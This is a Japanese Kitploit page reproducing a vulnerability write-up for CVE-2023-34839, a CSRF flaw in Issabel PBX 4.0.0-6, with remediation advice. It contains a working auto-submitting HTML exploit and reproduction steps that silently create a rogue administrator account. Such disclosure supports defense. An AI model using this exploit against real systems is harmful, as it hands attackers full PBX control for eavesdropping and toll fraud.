Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2023-34839 — CVE-2023-34839は、広く使用されているオープンソースのUnified CommunicationsプラットフォームであるIssabel PBXバージョン4.0.0-6で発見されたクロスサイトリクエストフォージェリ(CSRF)脆弱性です。 | Kitploit
ツール/GitHubGitHub/sahiloj/cve-2023-34839
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト論文と研究学習と教育
GitHubsahiloj/cve-2023-34839

CVE-2023-34839

CVE-2023-34839は、広く使用されているオープンソースのUnified CommunicationsプラットフォームであるIssabel PBXバージョン4.0.0-6で発見されたクロスサイトリクエストフォージェリ(CSRF)脆弱性です。

リポジトリを見る
536ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2023-34839 — Issabel PBX 4.0.0-6:CSRFによる権限昇格

CVE Severity CVSS Affected Version


目次

  • 概要
  • 脆弱性の詳細
  • 影響を受けるソフトウェア
  • CVSSスコア
  • 攻撃シナリオ
  • 概念実証(PoC)
  • 再現手順
  • 影響
  • 対策
  • 参考文献
  • 免責事項

概要

CVE-2023-34839 は、広く使用されているオープンソースの統合コミュニケーションプラットフォーム Issabel PBX バージョン 4.0.0-6 で発見された クロスサイトリクエストフォージェリ(CSRF) 脆弱性です。この脆弱性はユーザー管理エンドポイントに存在し、認証されていないリモートの攻撃者が、現在認証されている管理者に特別に細工されたウェブページを訪問させることで、新しい管理者アカウントをサイレントに作成できるようにします。


脆弱性の詳細

Issabel PBX 4.0.0-6 は、ユーザー作成 エンドポイントに CSRF 保護(例:同期トークン、SameSite Cookie属性、Origin / Referer ヘッダー検証)を実装していません。

root@kitploit:~
POST /index.php?menu=userlist&action=new

アプリケーションは認証にセッションCookieのみに依存し、状態変更リクエストの検証を行わないため、任意のオリジンから送信された偽造POSTリクエストは、ログイン済み管理者セッションの全権限で受け入れられ処理されます。

根本原因: 状態変更を行う管理エンドポイントにおけるCSRFトークン検証の欠如。

脆弱性クラス: CWE-352 — クロスサイトリクエストフォージェリ(CSRF)


影響を受けるソフトウェア

ソフトウェアバージョンステータス
Issabel PBX4.0.0-6脆弱 ✔
  • ベンダーホームページ: https://www.issabel.org/
  • ソースコード: https://github.com/IssabelFoundation/issabelPBX

CVSSスコア


攻撃シナリオ

攻撃者は以下の大まかな手順でこの脆弱性を悪用できます。

  1. 悪意のあるHTMLページを作成する: Issabel PBXのユーザー作成エンドポイントをターゲットにし、攻撃者が管理する値(ユーザー名、パスワード、グループ=管理者)を含む隠しフォームを配置します。
  2. 悪意のあるページをホストする: サーバー上にホストするか、フィッシングメール、チャットメッセージ、その他のソーシャルエンジニアリング経由で対象の管理者に送信します。
  3. 管理者がリンクを開くのを待つ: 管理者がIssabel PBXアプリケーションに対してアクティブな認証済みセッションを持っている状態でリンクを開くのを待ちます。
  4. ブラウザがフォームを自動送信する: 被害者の既存のセッションCookieを使用してフォームが自動送信され、アプリケーションは新しい管理者アカウントをサイレントに作成します。
  5. 攻撃者が新しい認証情報でログインする: 新しく作成された資格情報を使用してログインし、PBXシステムへの完全な管理者アクセス(コールルーティング、録音、SIPトランク設定、すべてのシステム設定)を取得します。

被害者には、1回のページ訪問以外の操作は必要ありません。


概念実証(PoC)

⚠️ 教育目的および許可されたテスト目的に限ります。
localhost を対象のIssabel PBXインスタンスのホスト名またはIPアドレスに置き換えてください。
自己署名証明書を使用した https:// エンドポイントでテストする場合は、同じブラウザで事前にターゲットURLにアクセスし、証明書警告を受け入れてください。そうしないと、ブラウザがオリジン間フォーム送信をブロックします。

root@kitploit:~
<html>
  <!-- CSRF Exploit — CVE-2023-34839 -->
  <body>
    <form action="https://localhost/index.php?menu=userlist&action=new" method="POST">
      <input type="hidden" name="save"             value="Save" />
      <input type="hidden" name="name"             value="CSRF" />
      <input type="hidden" name="description"      value="CSRF Test Account" />
      <input type="hidden" name="password1"        value="Test@123" />
      <input type="hidden" name="password2"        value="Test@123" />
      <input type="hidden" name="group"            value="1" />   <!-- 1 = Administrator -->
      <input type="hidden" name="extension"        value="" />
      <input type="hidden" name="webmailuser"      value="" />
      <input type="hidden" name="webmaildomain"    value="" />
      <input type="hidden" name="webmailpassword1" value="" />
      <input type="hidden" name="id_user"          value="" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

このエクスプロイトファイルは、このリポジトリにもあります:CSRF Exploit.html


再現手順

前提条件

  • 実行中のIssabel PBX 4.0.0-6インスタンス。
  • アクティブなブラウザセッションを持つ管理者アカウント。
  • 管理者セッションと同じマシン上のブラウザ。

手順1 — Issabel PBXに管理者としてログイン

Issabel PBXのWebインターフェースにアクセスし、管理者資格情報でログインします。

Issabel PBX ログイン画面


手順2 — CSRFエクスプロイトを準備する

上記のPoC HTMLコードをコピーし、.html ファイルとして保存します。localhost を対象のIssabelインスタンスの実際のホスト名またはIPアドレスに置き換えてください。

このエクスプロイトは隠しフォームフィールドを使用して、新しいユーザー作成リクエストをアプリケーションにサイレントにPOSTします。ページが読み込まれると、埋め込まれたJavaScriptがすぐにフォームを送信し、ユーザーの目に見える操作はありません。

CSRF エクスプロイト HTML


手順3 — 同じブラウザでエクスプロイトを開く

管理者セッションがまだアクティブな状態で、保存したHTMLファイルを同じブラウザ(新しいタブ)で開きます。フォームはページ読み込み時に自動送信されます。


手順4 — 新しい管理者アカウントが作成されたことを確認する

Issabel PBXの ユーザー管理 パネルに戻ります。エクスプロイトページを開く以外の操作をしなくても、管理者 権限を持つ新しいユーザーアカウント(このPoCでは CSRF)が作成されています。

新しい管理者ユーザーが作成された


影響

CVE-2023-34839の悪用に成功すると、攻撃者は以下のことが可能になります。

  • PBXシステムに不正な管理者アカウントを作成し、永続的なフル権限アクセスを取得する。
  • コールルーティングとSIPトランクを変更し、盗聴やトールフラウド(通話料詐欺)を可能にする。
  • ボイスメール録音と通話詳細記録(CDR)にアクセスし、機密情報を漏洩させる。
  • パスワードの変更や既存アカウントの削除により、正規の管理者をロックアウトする。
  • PBX設定の変更・削除により、通信を妨害する。

不正なアカウントは被害者のセッション終了後も存続するため、アカウントが発見・削除されるまで攻撃者は無期限にアクセスを維持できます。


対策

Issabel PBXの管理者および開発者は、以下の緩和策を適用してください。

  1. CSRF対策トークンの実装: 状態変更を行うすべてのフォームに対して、セッションに紐づいた一意で予測不可能なトークンを生成し、POSTリクエストの処理前にサーバー側で検証します。

  2. セッションCookieに SameSite=Strict または SameSite=Lax を適用する: これにより、ブラウザがクロスサイトリクエストでCookieを送信しないように指示され、モダンブラウザでの古典的なCSRF攻撃を効果的に防ぎます。

  3. Origin および Referer ヘッダーの検証: Origin または Referer ヘッダーが期待するアプリケーションドメインと一致しないリクエストを拒否します。

  4. 重要な操作には再認証を要求する: 新しい管理者レベルのアカウントを作成する前に、管理者に現在のパスワードの入力を求めます。

  5. 最新のセキュリティパッチを適用する: Issabelのリリースページ および 公式リポジトリ を監視し、このCVEに対応するパッチを適用します。


参考文献

  • NVD — CVE-2023-34839
  • OWASP — Cross-Site Request Forgery (CSRF)
  • CWE-352: Cross-Site Request Forgery
  • Issabel 公式ウェブサイト
  • IssabelFoundation/issabelPBX on GitHub

免責事項

このリポジトリは教育目的および許可されたセキュリティ研究に厳密に限定されています。ここに記載された情報および概念実証コードは、所有権があるか、明示的な書面によるテスト許可を得たシステムに対してのみ使用してください。所有していないシステムに対する不正な使用は違法であり、刑事訴追の対象となる可能性があります。著者は、このリポジトリに含まれる情報の誤用に対して一切の責任を負いません。

ツールをダウンロード
フィールド値
CVE IDCVE-2023-34839
日付2023年6月23日
研究者Sahil Ojha
ベンダーIssabel
製品Issabel PBX
バージョン4.0.0-6
テスト環境Windows
メトリック値
CVSS v3.1 ベクトルAV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
基本スコア8.8(高)
攻撃元ネットワーク
攻撃の複雑さ低
必要な権限なし
ユーザー操作必要(管理者の訪問)
スコープ変更なし
機密性への影響高
完全性への影響高
可用性への影響高